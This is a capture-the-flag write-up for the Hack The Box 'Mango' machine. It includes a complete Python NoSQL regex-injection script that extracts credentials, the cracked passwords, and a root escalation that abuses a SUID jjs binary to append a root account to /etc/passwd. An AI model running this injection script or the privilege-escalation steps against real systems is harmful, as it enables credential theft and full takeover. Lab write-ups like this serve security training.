Welcome to the Mango writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Mango

tags: HTB Medium Linux OSCP
Platform: Hackthebox
Difficult: Medium
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

$ nmap -Pn -T4 -p- mango.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-04 20:19 CEST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.089s latency).
Not shown: 65527 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
111/tcp   filtered rpcbind
443/tcp   open     https
1025/tcp  filtered NFS-or-IIS
25117/tcp filtered unknown
43154/tcp filtered unknown
53643/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 112.32 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -A -Pn -p 22,80,111,443,1025,25117,43154,53643 mango.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-04 20:21 CEST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.089s latency).

PORT      STATE  SERVICE    VERSION
22/tcp    open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp    open   http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
111/tcp   closed rpcbind
443/tcp   open   ssl/ssl    Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
1025/tcp  closed NFS-or-IIS
25117/tcp closed unknown
43154/tcp closed unknown
53643/tcp closed unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=7/4%OT=22%CT=111%CU=40004%PV=Y%DS=2%DC=T%G=Y%TM=60E1FC
OS:57%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST
OS:11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 43154/tcp)
HOP RTT      ADDRESS
1   88.39 ms 10.10.14.1
2   88.52 ms mango.htb (10.10.10.162)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.92 seconds

Port 443

Inside port 443 we find a website like Google!

SSLScan

Enumerating the SSL sert we can find the subdomain staging-order.mango.htb.

$ sslscan https://mango.htb
[...]
SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    2048

Subject:  staging-order.mango.htb
Issuer:   staging-order.mango.htb

Not valid before: Sep 27 14:21:19 2019 GMT
Not valid after:  Sep 26 14:21:19 2020 GMT

Exploitation

Password cracking

In the access form of the subdomain staging-order.mango.htb if we login with a wrong user it shows the same as if we do not enter anything so we can deduce that if we match the credentials we will get a 302 Found so maybe work with NoSQL. Let's try to extract the password using REGEX.

import string, re, sys, requests

s = requests.session()
url = "http://staging-order.mango.htb:80/"
cookies = {"PHPSESSID": "f08mrkdeqcpkr9vsamb07rjasb"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "http://staging-order.mango.htb/", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
clear = "\033[F\033[K"

def getCharset(possition):
    charset = []
    for char in string.printable:
        if possition == 'username':
            data = {"username[$regex]": ".*"+char+".*", "password[$ne]": "password", "login": "login"}
        else:
            data = {"username[$ne]": "username", "password[$regex]": ".*"+char+".*", "login": "login"}
        r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
        if r.status_code == 302:
            charset.append(char)
    return charset

def getUsernameLength(s, url, cookies, headers, char):
    length = 0
    for i in range(1, 500):
        print('{clear}Trying username length starting with "{char}": {len}'.format(clear=clear, char=char, len=i))
        data = {"username[$regex]": "^"+char+"[\w|\W|\d|\D]{"+str(i)+"}", "password[$ne]": "password", "login": "login"}
        r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
        if r.status_code != 302:
            length = i
            break
    print('{clear}Username length starting with "{char}" found: {len}\n'.format(clear=clear, char=char, len=length))
    return length

def getUsernames(s, url, cookies, headers):
    print('{clear}Getting usernames charset...'.format(clear=clear))
    uCharset = getCharset('username')
    print('{clear}Getting passwords charset...'.format(clear=clear))
    pCharset = getCharset('password')
    for uChar in uCharset:
        if uChar != '':
            print('{clear}Trying username start with: {ch}'.format(clear=clear, ch=uChar))
        data = {"username[$regex]": "^"+re.escape(uChar)+".*", "password[$ne]": "password", "login": "login"}
        r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
        if r.status_code == 302:
            length = getUsernameLength(s, url, cookies, headers, uChar)
            username = uChar
            for i in range(1, length):
                found = False
                for pChar in uCharset:
                    print('{clear}Trying username "{user}"'.format(clear=clear, user=username+pChar))
                    data = {"username[$regex]": "^"+re.escape(username+pChar)+".*", "password[$ne]": "password", "login": "login"}
                    r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
                    if r.status_code == 302:
                        username += pChar
                        found = True
                        break
                if not found:
                    break
            getPasword(s, url, cookies, headers, username, pCharset)

def getPasswordLength(s, url, cookies, headers, username):
    length = 0
    for i in range(1, 500):
        print('{clear}Trying password length {len} for username "{user}"'.format(clear=clear, len=i, user=username))
        data = {"username": username, "password[$regex]": "^[\w|\W|\d|\D]{"+str(i)+"}", "login": "login"}
        r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
        if r.status_code != 302:
            length = i
            break
    print('{clear}Password length for username "{user}" found: {len}\n'.format(clear=clear, user=username, len=length))
    return length

def getPasword(s, url, cookies, headers, username, pCharset):
    length = getPasswordLength(s, url, cookies, headers, username)
    passwd = ''
    for i in range(1, length):
        found = False
        for char in pCharset:
            print('{clear}Trying password {passAct} for username {user}'.format(clear=clear, passAct=passwd+char, user=username))
            data = {"username": username, "password[$regex]": "^"+re.escape(passwd+char)+".*", "login": "login"}
            r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
            if r.status_code == 302:
                passwd += char
                found = True
                break
        if not found:
            break
    print('{clear}Username: {user} - Password: {passw}\n'.format(clear=clear+clear+clear, user=username, passw=passwd))

print('\n')
getUsernames(s, url, cookies, headers)
print(clear)
$ python3 noSQLi2.py

Username: admin - Password: t9KcS3>!0B#2
Username: mango - Password: h3mXK8RhU~f{]f5H

Cool! We already have two credentials. As we could see in the Nmap scanner, SSH is active so, let's try to connect with them.

$ ssh mango@mango.htb
mango@mango.htb`s password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jul 18 07:09:34 UTC 2021

  System load:  0.0                Processes:            97
  Usage of /:   25.8% of 19.56GB   Users logged in:      0
  Memory usage: 13%                IP address for ens33: 10.10.10.162
  Swap usage:   0%

 * Kata Containers are now fully integrated in Charmed Kubernetes 1.16!
   Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.

     https://ubuntu.com/kubernetes/docs/release-notes

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138
mango@mango:~$ id
uid=1000(mango) gid=1000(mango) groups=1000(mango)
mango@mango:~$
mango@mango:~$ cd ..
mango@mango:/home$ ls
admin  mango
mango@mango:/home$ cd admin/
mango@mango:/home/admin$ ls
user.txt

The user flag has the user admin. Let's access with it.

$ ssh admin@mango.htb
admin@mango.htb's password: 
Permission denied, please try again.

Ouch, we can not access by SSH as admin, may have restricted SSH access. We try doing su

mango@mango:~$ su admin
Password: 
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ cat user.txt  
cat: user.txt: No such file or directory
$ /bin/bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/mango$ cd 
admin@mango:/home/admin$ cat user.txt 
27e629a497c2d0b2358da632bc1c7662
admin@mango:/home/admin$

Now yes, we have access as admin and we can read the user flag!

Post exploitation

Privilege escalation: admin to root

Enumeration

SUID

admin@mango:/home/admin$ find / -perm /4000 2>/dev/null
[...]
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
[...]
admin@mango:/home/admin$

As we can see, we can run a console jjs with privileges root.

And if we look in the official documentation, we see that we can run System Commands if we access jjs with Active scripting mode.

Exploitation

admin@mango:/home/admin$ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs -scripting
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> $EXEC("id")
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)

jjs> $EXEC("cat /root/root.txt")
3f5697c9e39179bc95f552af942c6ed0

Nice!, Now we have the root flag but, let's try to take full control of the box becoming roo, right?
Let's try to inject a privileged user in the file /etc/passwd.

admin@mango:/home/admin$ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs -scripting
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var FileWriter=Java.type("java.io.FileWriter");
jjs> var Files = Java.type('java.nio.file.Files');
jjs> var Paths = Java.type('java.nio.file.Paths');
jjs> var content = new java.lang.String(Files.readAllBytes(Paths.get("/etc/passwd")));
jjs> var fw = new FileWriter("/etc/passwd");
jjs> fw.write(content + "x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash\n");
jjs> fw.close();
jjs> 
admin@mango:/home/admin$

We are going to check if it has been injected...

admin@mango:/home/admin$ tail -n 2 /etc/passwd
mongodb:x:111:65534::/home/mongodb:/usr/sbin/nologin
x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash

And we are going to authenticate us with it!

admin@mango:/home/admin$ su x4v1l0k
Password: 
root@mango:~# id
uid=0(root) gid=0(root) groups=0(root)
root@mango:~#